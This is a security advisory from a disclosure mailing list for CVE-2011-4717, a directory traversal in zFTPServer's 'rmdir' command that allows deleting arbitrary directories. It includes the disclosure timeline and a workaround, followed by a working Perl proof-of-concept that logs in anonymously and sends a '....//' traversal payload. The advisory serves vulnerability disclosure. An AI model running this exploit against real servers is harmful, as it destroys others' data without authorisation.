Advisory: zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal Advisory ID: INFOSERVE-ADV2011-09 Author: Stefan Schurtz Contact: security@xxxxxxxxxxxx Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52 Vendor URL: http://www.zftpserver.com/ Vendor Status: fixed CVE-ID: CVE-2011-4717 ========================== Vulnerability Description ========================== zFTPServer 'rmdir' is prone to a Directory Traversal, which makes it possible to delete directories in the system ========= Solution ========= Fixed, but no new release available, as a workaround disable "Directories->Delete" ==================== Disclosure Timeline ==================== 04-Dec-2011 - informed vendor 06-Dec-2011 - fixed by vendor 10-Dec-2011 - release date of this security advisory ======== Credits ======== Vulnerabilitiy found and advisory written by the INFOSERVE security team. =========== References =========== http://forum.zftpserver.com/viewtopic.php?f=4&t=2927 http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-09.txt Best regards, Stefan Schurtz | SECURE INFRASTRUCTURE INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 | s.schurtz@xxxxxxxxxxxx | www.infoserve.de Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort: Saarbrücken Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599
#!/usr/bin/perl
use strict;
use Net::FTP;
my $user = "anonymous";
my $password = "anonymous@";
########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];
print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";
if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;
}
my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target:
$@";
print "[+] Connected to $target\n";
########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";
###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;
print "[+] Building payload\n";
for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);
#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;
##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF
Attachment:
smime.p7s
Description: S/MIME cryptographic signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/